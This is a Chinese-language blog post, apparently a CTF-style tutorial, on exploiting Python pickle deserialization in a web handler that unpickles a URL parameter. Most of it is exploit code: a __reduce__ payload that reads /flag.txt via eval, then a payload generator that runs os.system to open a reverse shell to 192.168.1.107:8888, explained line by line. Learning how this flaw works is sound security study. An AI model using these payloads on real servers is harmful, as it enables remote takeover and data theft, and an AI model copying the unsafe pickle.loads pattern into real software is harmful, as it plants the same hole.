原理
在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任
意命令执行
例如网页源码
try:
       become = self.get_argument('become')
       p = pickle.loads(urllib.unquote(become))
       return self.render('form.html', res=p, member=1)
except:
        return self.render('form.html', res='This is Black Technology!', member=0)
过程:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分

那么攻击方式就是修改可控的become参数,当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化。
也就是说我们,只要在新式类中定义一个__reduce__ 方法,我们就能在序列化的使用让这个类根据我们在 __reduce__ 中指定的方式进行序列化。

Demo:
①首先用python得到攻击所需的payload
class payload(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))  //表示用eval的方式序列化后面内容
a=pickle.dumps(payload())  //得到指定方法序列化后的pickle数据
print(urllib.quote(a))     //得到url编码后的payload

②接下来服务端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解码再用指定方法反序列化内容,结果执行了代码
return self.render('form.html', res=p, member=1)  //这时p已经是执行代码后的内容了

拓展:
既然能够任意执行代码,那么就可以反弹shell,以下为payload代码
import pickle
import urllib
import os

class exp(object):
   def __reduce__(self):
       s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
       return os.system, (s,)  //指明用os.system方法序列化s字符串内容

poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))

详细的看下字符串内容
python -c '执行命令'
执行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0);     //表示所有的输入内容都传送给socket
os.dup2(s.fileno(),1);    //表示所有的输出内容都传送给socket
os.dup2(s.fileno(),2);   //表示所有的错误输出都传送给socket
p=subprocess.call(["/bin/sh","-i"]);   //使用sh -i 使shell可交互

最新文章

  1. JVM之类加载器下篇
  2. MAC下反編譯安卓APK
  3. Apache Kafka for Item Setup
  4. fedora 添加其他操作系统到 GRUB 2 菜单
  5. java里有没有专门判断List里有重复的数据
  6. maven pom.xml解释 (转)
  7. jmeter 远程测试
  8. Hadoop概述
  9. ionic 项目的启动屏幕
  10. 2434: [Noi2011]阿狸的打字机
  11. 当传递具有已修改行的 DataRow 集合时,更新要求有效的 UpdateCommand问题解决
  12. BZOJ 1876 SuperGCD
  13. oracle 导入sql中文乱码(转)
  14. RowSet的使用
  15. java中的String整理
  16. LeetCode算法题-Best Time to Buy and Sell Stock
  17. 3D游戏的角色移动
  18. Hadoop生态系统之Yarn
  19. 关于启动VS2012时,提示Web4.0尚未在网络服务器上注册的解决办法!
  20. cocos2d-js Shader系列2:在cc.Sprite上使用Shader(黑白、灰度、造旧效果)

热门文章

  1. struts标签 解析html标签
  2. 查看mysql进程
  3. 页面渲染时js阻塞的解决方法
  4. 在Centos下单机部署kubernetes
  5. Centos7 iptables firewalld防火墙与selinux配置
  6. spark bulkload hbase笔记
  7. input 数值框处理
  8. luogu P2761 软件补丁问题
  9. 「HNOI2008」玩具装箱
  10. C语言数组成绩排序